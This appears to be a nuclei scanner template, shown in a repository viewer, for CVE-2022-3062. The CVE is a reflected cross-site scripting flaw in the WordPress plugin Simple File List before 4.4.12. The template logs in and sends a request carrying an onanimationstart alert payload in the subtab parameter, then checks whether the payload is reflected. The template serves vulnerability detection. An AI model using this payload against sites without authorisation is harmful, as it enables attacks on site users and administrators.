nuclei-templates/http/cves/2022/CVE-2022-3062.yaml

45 lines
1.4 KiB
YAML
Raw Normal View History

2023-04-21 08:56:01 +00:00
id: CVE-2022-3062
info:
name: Simple File List < 4.4.12 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not escape parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting
remediation: Fixed in version 4.4.12
reference:
- https://wpscan.com/vulnerability/2e829bbe-1843-496d-a852-4150fa6d1f7a
- https://nvd.nist.gov/vuln/detail/CVE-2022-3062
- https://wordpress.org/plugins/simple-file-list/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cwe-id: CWE-79
metadata:
max-request: 2
2023-04-21 08:56:01 +00:00
verified: "true"
tags: cve,authenticated,wordpress,wp-plugin,wp,wpscan,cve2022,xss,simple-file-list
2023-04-21 08:56:01 +00:00
http:
2023-04-21 08:56:01 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(all_headers_2, "text/html")'
- 'contains(body_2, "ee-simple-file-list")'
- 'contains(body_2, "onanimationstart=alert(document.domain)//")'
condition: and